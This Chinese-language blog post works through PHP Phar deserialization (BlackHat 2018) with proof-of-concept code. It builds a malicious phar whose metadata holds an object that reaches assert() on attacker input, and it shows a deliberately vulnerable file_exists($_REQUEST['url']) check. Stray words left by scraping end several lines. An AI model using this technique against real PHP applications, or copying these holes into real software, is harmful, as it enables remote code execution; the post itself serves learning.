PHP反序列化漏洞新攻擊面(BlackHat 2018)

0x00 前言php

  入職以來很久沒有寫過文章了,入職的時間裏也和師傅們學到了不少,認識了不少的新朋友。最近由於BlackHat 黑客大會的一個議題,PHP反序列化漏洞利用被挖掘出新的攻擊面。這裏本着記錄學習的目的,有了這篇文章。函數

 

0x01 Phar 反序列化學習

  你看到本文,我默認認爲你已經對PHP反序列化漏洞原理以及成因有所瞭解,若是不瞭解能夠參考我以前的文章,這裏就很少講了。根據漏洞的原理,影響PHP反序列化漏洞利用的就一個函數unserialize(),這裏所謂新的攻擊面就是Phar協議解包時候觸發的反序列化漏洞。ui

  首先生成Phar文件,擴展名能夠本身定義。代碼以下(phar.php):this

<?php

require_once('Evil.class.php');

$exception = new Evil('phpinfo()');

$phar = new Phar("vul.phar");

$phar->startBuffering();

$phar->addFromString("test.txt", "test");

$phar->setStub("<?php__HALT_COMPILER(); ?>");

$phar->setMetadata($exception);

$phar->stopBuffering();

?>

Evil類的定義以下(Evil.class.php):url

<?php

class Evil {
    
    protected $val;

    function __construct($val)
    {
        $this->val = $val;
    }

    function __wakeup() {
        assert($this->val);
    }
}


?>

在訪問第一個文件(Phar.php)以後會生成一個文件名是vul.phar的文件,內容以下:spa

能夠看到中間有序列化以後的字符。其實Phar在打包一個文件的時候是會對其進行序列化的。而後咱們訪問(test.php), 代碼以下:code

require_once('Evil.class.php');

if ( file_exists($_REQUEST['url']) ) {
    echo 'success!';
} else {
    echo 'error!';
}

訪問結果如圖:blog

 

 

 0x02 如何挖掘io

從以上的實驗中,咱們能夠得出一個結論,漏洞的利用條件有三點:

第一,存在反序列化的輸入點,這裏就是存在可以訪問的phar歸檔文件;

第二,存在漏洞觸發點,這裏是存在相似file_exists這樣的函數,而且文件名完整可控;

第三,存在可以利用的類。

其中第三點,咱們很清楚,這是反序列化漏洞的必備條件,第二點則至關於原先的unserialize。

相關文章
相關標籤/搜索